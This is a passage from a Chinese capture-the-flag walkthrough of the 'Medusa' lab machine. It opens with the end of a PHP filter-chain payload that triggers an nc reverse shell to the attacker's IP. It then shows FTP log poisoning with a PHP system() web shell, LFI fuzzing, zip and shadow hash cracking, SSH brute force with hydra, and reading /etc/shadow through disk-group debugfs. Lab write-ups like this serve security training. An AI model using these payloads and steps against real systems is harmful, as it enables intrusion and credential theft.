base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=nc%20-e%20/bin/bash%20192.168.0.143%201234

拿下shell！！！

image-20240426165312964

方法二：ftp日志注入

到现在为止，我们都没有用到那个ftp，其实在这里可以用到，我们再次进行fuzz，就可以看到我们可以利用一个特殊的日志：

┌──(kali💀kali)-[~/temp/medusa]
└─$ ffuf -u "http://dev.medusa.hmv/files/system.php?view=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -fs 0 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.medusa.hmv/files/system.php?view=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

/proc/self/status       [Status: 200, Size: 1327, Words: 92, Lines: 57, Duration: 4ms]
/proc/self/stat         [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 4ms]
/proc/self/cmdline      [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 5ms]
/etc/group              [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 8ms]
../../../../etc/passwd  [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 2ms]
../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 2ms]
../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 3ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 2ms]
../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 3ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 1ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 3ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 2ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 1ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 1ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 3ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 4ms]
/var/log/vsftpd.log     [Status: 200, Size: 933, Words: 115, Lines: 13, Duration: 0ms]
/etc/vsftpd.conf        [Status: 200, Size: 5850, Words: 806, Lines: 156, Duration: 0ms]
../../../../etc/group   [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 0ms]
../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 0ms]
../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 1ms]
../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 0ms]
../../../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 0ms]
../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 0ms]
../../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 2ms]
../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 3ms]
../../../../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 2ms]
../../../../../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 1ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 758, Words: 1, Lines: 55, Duration: 3ms]
:: Progress: [569/569] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 31 ::

/var/log/vsftpd.log是ftp登录的日志，所以我们尝试注入恶意代码：

┌──(kali💀kali)-[~/temp/medusa]
└─$ ftp 192.168.0.109                                                                                                              
Connected to 192.168.0.109.
220 (vsFTPd 3.0.3)
Name (192.168.0.109:kali): <?php system($_GET['hack']); ?>  
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

然后就可以执行系统命令了！

image-20240426170326545

这意味着我们随时都可以进行反弹shell！

提权

信息搜集

(remote) www-data@medusa:/var/www/dev/files$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@medusa:/var/www/dev/files$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
sudo: a password is required
(remote) www-data@medusa:/var/www/dev/files$ cd ..
(remote) www-data@medusa:/var/www/dev$ cd ..
(remote) www-data@medusa:/var/www$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Jan 15  2023 .
drwxr-xr-x 12 root root 4096 Jan 15  2023 ..
drwxr-xr-x  5 root root 4096 Jan 19  2023 dev
drwxr-xr-x  3 root root 4096 Jan 19  2023 html
(remote) www-data@medusa:/var/www$ cd ../  
(remote) www-data@medusa:/var$ ls -la
total 48
drwxr-xr-x 12 root root  4096 Jan 15  2023 .
drwxr-xr-x 19 root root  4096 Jan 15  2023 ..
drwxr-xr-x  2 root root  4096 Jan 17  2023 backups
drwxr-xr-x 11 root root  4096 Jan 15  2023 cache
drwxr-xr-x 25 root root  4096 Jan 15  2023 lib
drwxrwsr-x  2 root staff 4096 Sep  3  2022 local
lrwxrwxrwx  1 root root     9 Jan 15  2023 lock -> /run/lock
drwxr-xr-x  8 root root  4096 Apr 26 04:03 log
drwxrwsr-x  2 root mail  4096 Jan 15  2023 mail
drwxr-xr-x  2 root root  4096 Jan 15  2023 opt
lrwxrwxrwx  1 root root     4 Jan 15  2023 run -> /run
drwxr-xr-x  4 root root  4096 Jan 15  2023 spool
drwxrwxrwt  2 root root  4096 Apr 26 04:03 tmp
drwxr-xr-x  4 root root  4096 Jan 15  2023 www
(remote) www-data@medusa:/var$ cd backups/
(remote) www-data@medusa:/var/backups$ ls -la
total 408
drwxr-xr-x  2 root root   4096 Jan 17  2023 .
drwxr-xr-x 12 root root   4096 Jan 15  2023 ..
-rw-r--r--  1 root root  40960 Jan 17  2023 alternatives.tar.0
-rw-r--r--  1 root root   8525 Jan 15  2023 apt.extended_states.0
-rw-r--r--  1 root root      0 Jan 17  2023 dpkg.arch.0
-rw-r--r--  1 root root    186 Jan 15  2023 dpkg.diversions.0
-rw-r--r--  1 root root    172 Jan 15  2023 dpkg.statoverride.0
-rw-r--r--  1 root root 346068 Jan 15  2023 dpkg.status.0
(remote) www-data@medusa:/var/backups$ cd ../mail
(remote) www-data@medusa:/var/mail$ ls -la
total 8
drwxrwsr-x  2 root mail 4096 Jan 15  2023 .
drwxr-xr-x 12 root root 4096 Jan 15  2023 ..
(remote) www-data@medusa:/var/mail$ cd /home
(remote) www-data@medusa:/home$ ls
spectre
(remote) www-data@medusa:/home$ cd spectre/
(remote) www-data@medusa:/home/spectre$ ls -la
total 32
drwxr-xr-x 3 spectre spectre 4096 Jan 18  2023 .
drwxr-xr-x 3 root    root    4096 Jan 15  2023 ..
-rw------- 1 spectre spectre  197 Jan 21  2023 .bash_history
-rw-r--r-- 1 spectre spectre  220 Jan 15  2023 .bash_logout
-rw-r--r-- 1 spectre spectre 3526 Jan 15  2023 .bashrc
drwxr-xr-x 3 spectre spectre 4096 Jan 18  2023 .local
-rw-r--r-- 1 spectre spectre  807 Jan 15  2023 .profile
-rw------- 1 spectre spectre   44 Jan 18  2023 user.txt
(remote) www-data@medusa:/home/spectre$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
spectre:x:1000:1000:spectre,,,:/home/spectre:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
(remote) www-data@medusa:/home/spectre$ cd ../
(remote) www-data@medusa:/home$ ls -la
total 12
drwxr-xr-x  3 root    root    4096 Jan 15  2023 .
drwxr-xr-x 19 root    root    4096 Jan 15  2023 ..
drwxr-xr-x  3 spectre spectre 4096 Jan 18  2023 spectre
(remote) www-data@medusa:/home$ cd /
(remote) www-data@medusa:/$ ls -la
total 72
drwxr-xr-x  19 root root  4096 Jan 15  2023 .
drwxr-xr-x  19 root root  4096 Jan 15  2023 ..
drwxr-xr-x   2 root root  4096 Jan 18  2023 ...
lrwxrwxrwx   1 root root     7 Jan 15  2023 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Jan 15  2023 boot
drwxr-xr-x  17 root root  3140 Apr 26 04:03 dev
drwxr-xr-x  71 root root  4096 Apr 26 04:03 etc
drwxr-xr-x   3 root root  4096 Jan 15  2023 home
lrwxrwxrwx   1 root root    31 Jan 15  2023 initrd.img -> boot/initrd.img-5.10.0-20-amd64
lrwxrwxrwx   1 root root    31 Jan 15  2023 initrd.img.old -> boot/initrd.img-5.10.0-18-amd64
lrwxrwxrwx   1 root root     7 Jan 15  2023 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Jan 15  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Jan 15  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Jan 15  2023 libx32 -> usr/libx32
drwx------   2 root root 16384 Jan 15  2023 lost+found
drwxr-xr-x   3 root root  4096 Jan 15  2023 media
drwxr-xr-x   2 root root  4096 Jan 15  2023 mnt
drwxr-xr-x   2 root root  4096 Jan 15  2023 opt
dr-xr-xr-x 147 root root     0 Apr 26 04:03 proc
drwx------   3 root root  4096 Jan 30  2023 root
drwxr-xr-x  19 root root   540 Apr 26 04:03 run
lrwxrwxrwx   1 root root     8 Jan 15  2023 sbin -> usr/sbin
drwxr-xr-x   3 root root  4096 Jan 15  2023 srv
dr-xr-xr-x  13 root root     0 Apr 26 04:03 sys
drwxrwxrwt   2 root root  4096 Apr 26 04:03 tmp
drwxr-xr-x  14 root root  4096 Jan 15  2023 usr
drwxr-xr-x  12 root root  4096 Jan 15  2023 var
lrwxrwxrwx   1 root root    28 Jan 15  2023 vmlinuz -> boot/vmlinuz-5.10.0-20-amd64
lrwxrwxrwx   1 root root    28 Jan 15  2023 vmlinuz.old -> boot/vmlinuz-5.10.0-18-amd64
(remote) www-data@medusa:/$ cd ...
(remote) www-data@medusa:/...$ ls -la
total 12108
drwxr-xr-x  2 root     root         4096 Jan 18  2023 .
drwxr-xr-x 19 root     root         4096 Jan 15  2023 ..
-rw-------  1 www-data www-data 12387024 Jan 18  2023 old_files.zip
(remote) www-data@medusa:/...$ ls -la
total 12108
drwxr-xr-x  2 root     root         4096 Jan 18  2023 .
drwxr-xr-x 19 root     root         4096 Jan 15  2023 ..
-rw-------  1 www-data www-data 12387024 Jan 18  2023 old_files.zip

探测敏感文件

解压一下，尝试发现有啥神奇的东西：

(remote) www-data@medusa:/...$ unzip old_files.zip 
bash: unzip: command not found

额，传过来解压吧：

┌──(kali💀kali)-[~/temp/medusa]
└─$ ls
old_files.zip

┌──(kali💀kali)-[~/temp/medusa]
└─$ unzip old_files.zip 
Archive:  old_files.zip
   skipping: lsass.DMP               need PK compat. v5.1 (can do v4.6)

┌──(kali💀kali)-[~/temp/medusa]
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt old_files.zip 

┌──(kali💀kali)-[~/temp/medusa]
└─$ file old_files.zip                                               
old_files.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

┌──(kali💀kali)-[~/temp/medusa]
└─$ exiftool old_files.zip 
ExifTool Version Number         : 12.76
File Name                       : old_files.zip
Directory                       : .
File Size                       : 12 MB
File Modification Date/Time     : 2024:04:26 05:09:53-04:00
File Access Date/Time           : 2024:04:26 05:10:07-04:00
File Inode Change Date/Time     : 2024:04:26 05:09:53-04:00
File Permissions                : -rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 819
Zip Bit Flag                    : 0x0001
Zip Compression                 : Unknown (99)
Zip Modify Date                 : 2023:01:17 15:12:42
Zip CRC                         : 0x00000000
Zip Compressed Size             : 12386850
Zip Uncompressed Size           : 34804383
Zip File Name                   : lsass.DMP

尝试john破解：

┌──(kali💀kali)-[~/temp/medusa]
└─$ zip2john old_files.zip > hash

┌──(kali💀kali)-[~/temp/medusa]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 12386830 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
medusa666        (old_files.zip/lsass.DMP)     
1g 0:00:02:29 DONE (2024-04-26 05:20) 0.006673g/s 37778p/s 37778c/s 37778C/s meeker75..medabe15
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(kali💀kali)-[~/temp/medusa]
└─$ john hash --show                                     
old_files.zip/lsass.DMP:medusa666:lsass.DMP:old_files.zip:old_files.zip

1 password hash cracked, 0 left

害，继续解密：

┌──(kali💀kali)-[~/temp/medusa]
└─$ 7z x old_files.zip 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 12387024 bytes (12 MiB)

Extracting archive: old_files.zip
--
Path = old_files.zip
Type = zip
Physical Size = 12387024

Enter password (will not be echoed):
Everything is Ok

Size:       34804383
Compressed: 12387024

┌──(kali💀kali)-[~/temp/medusa]
└─$ ls -la
total 70296
drwxr-xr-x  2 kali kali     4096 Apr 26 05:22 .
drwxr-xr-x 71 kali kali     4096 Apr 26 04:06 ..
-rw-r--r--  1 kali kali 24773794 Apr 26 05:15 hash
-rwxr-xr-x  1 kali kali 34804383 Jan 17  2023 lsass.DMP
-rw-r--r--  1 root root 12387024 Apr 26 05:09 old_files.zip

image-20240426172720991

image-20240426172810689

尝试一下：

image-20240426172955869

┌──(kali💀kali)-[~/temp/medusa]
└─$ pypykatz lsa minidump lsass.DMP

┌──(kali💀kali)-[~/temp/medusa]
└─$ pypykatz lsa minidump lsass.DMP | grep "password"

┌──(kali💀kali)-[~/temp/medusa]
└─$ pypykatz lsa minidump lsass.DMP | grep "username"

爆破ssh

尝试弄一个字典：

4v1jn3y4m_zxc
t0p_s3cr3t
4l13num_qwerty
p0w3rf1ll_abc
pr0xy_ch41ns_456
n0s_v0lv1m0s_4_1lusi0n4r
littl3_h4ck3r
n1mb3r_s1x
b4ck3nd_pr0gr4m3r
Wh1t3_h4ck
th3_b0ss
5p3ctr3_p0is0n_xX
littl3_h4ck3r_v2
b1zum_3_AM
UnD3sc0n0c1d0
br4in_br34k3r
123456

这是密码，还有一个用户：

avijneyam
powerful
shelldredd
alienum
Pr0xy
Claor
nolo
numero6
ct0l4
LordP4
sml
spectre
RiJaba1
jabatron
InfayerTS
d4t4s3c
Medusa
cromiphi

进行爆破：

┌──(kali💀kali)-[~/temp/medusa]
└─$ hydra -L user.txt -P pass.txt ssh://192.168.0.109 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-26 05:40:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 306 login tries (l:18/p:17), ~20 tries per task
[DATA] attacking ssh://192.168.0.109:22/
[22][ssh] host: 192.168.0.109   login: spectre   password: 5p3ctr3_p0is0n_xX
[STATUS] 293.00 tries/min, 293 tries in 00:01h, 16 to do in 00:01h, 13 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-26 05:41:53

image-20240426174233480

信息搜集

spectre@medusa:~$ ls -la
total 32
drwxr-xr-x 3 spectre spectre 4096 Jan 18  2023 .
drwxr-xr-x 3 root    root    4096 Jan 15  2023 ..
-rw------- 1 spectre spectre  197 Jan 21  2023 .bash_history
-rw-r--r-- 1 spectre spectre  220 Jan 15  2023 .bash_logout
-rw-r--r-- 1 spectre spectre 3526 Jan 15  2023 .bashrc
drwxr-xr-x 3 spectre spectre 4096 Jan 18  2023 .local
-rw-r--r-- 1 spectre spectre  807 Jan 15  2023 .profile
-rw------- 1 spectre spectre   44 Jan 18  2023 user.txt
spectre@medusa:~$ cat user.txt 
good job!

487a5d1ce02c53fbf60c3abd300d9ff5
spectre@medusa:~$ sudo -l
[sudo] password for spectre: 
Sorry, user spectre may not run sudo on medusa.
spectre@medusa:~$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
cat: /etc/cron.weekly: Is a directory
spectre@medusa:~$ ss -tnlup
Netid          State           Recv-Q          Send-Q                   Local Address:Port                   Peer Address:Port         Process          
udp            UNCONN          0               0                              0.0.0.0:68                          0.0.0.0:*                             
tcp            LISTEN          0               128                            0.0.0.0:22                          0.0.0.0:*                             
tcp            LISTEN          0               511                                  *:80                                *:*                             
tcp            LISTEN          0               32                                   *:21                                *:*                             
tcp            LISTEN          0               128                               [::]:22                             [::]:*                             
spectre@medusa:~$ whoami;id
spectre
uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

读取磁盘文件

发现具有磁盘读取权限

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#disk-group

spectre@medusa:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:  cat /root/root.txt
/root/root.txt: File not found by ext2_lookup 
debugfs:  cat /root/.ssh/id_rsa
/root/.ssh/id_rsa: File not found by ext2_lookup 
debugfs:  cat /etc/shadow
root:$y$j9T$AjVXCCcjJ6jTodR8BwlPf.$4NeBwxOq4X0/0nCh3nrIBmwEEHJ6/kDU45031VFCWc2:19375:0:99999:7:::
daemon:*:19372:0:99999:7:::
bin:*:19372:0:99999:7:::
sys:*:19372:0:99999:7:::
sync:*:19372:0:99999:7:::
games:*:19372:0:99999:7:::
man:*:19372:0:99999:7:::
lp:*:19372:0:99999:7:::
mail:*:19372:0:99999:7:::
news:*:19372:0:99999:7:::
uucp:*:19372:0:99999:7:::
proxy:*:19372:0:99999:7:::
www-data:*:19372:0:99999:7:::
backup:*:19372:0:99999:7:::
list:*:19372:0:99999:7:::
irc:*:19372:0:99999:7:::
gnats:*:19372:0:99999:7:::
nobody:*:19372:0:99999:7:::
_apt:*:19372:0:99999:7:::
systemd-network:*:19372:0:99999:7:::
systemd-resolve:*:19372:0:99999:7:::
messagebus:*:19372:0:99999:7:::
systemd-timesync:*:19372:0:99999:7:::
sshd:*:19372:0:99999:7:::
spectre:$y$j9T$4TeFHbjRqRC9royagYTTJ/$KnU7QK1u0/5fpHHqE/ehPe6uqpwbs6vuvcQQH4EF9ZB:19374:0:99999:7:::
systemd-coredump:!*:19372::::::
ftp:*:19372:0:99999:7:::
debugfs:  q

爆破root密码

尝试破解一下：

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# vim hash.txt  

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# john hash.txt -w=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
andromeda        (root)     
1g 0:00:00:19 DONE (2024-04-26 05:49) 0.05005g/s 187.3p/s 187.3c/s 187.3C/s 19871987..street
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

尝试切换用户：

spectre@medusa:~$ su -l root
Password: 
root@medusa:~# ls -la
total 28
drwx------  3 root root 4096 Jan 30  2023 .
drwxr-xr-x 19 root root 4096 Jan 15  2023 ..
lrwxrwxrwx  1 root root    9 Jan 15  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3526 Jan 17  2023 .bashrc
drwxr-xr-x  3 root root 4096 Jan 15  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   53 Jan 18  2023 .rO0t.txt
-rw-r--r--  1 root root   66 Jan 30  2023 .selected_editor
root@medusa:~# cat .rO0t.txt 
congrats hacker :)

34b1e6fc5e7fe0bfd56ed4b8776c9f5b

拿到rootshell！！！！

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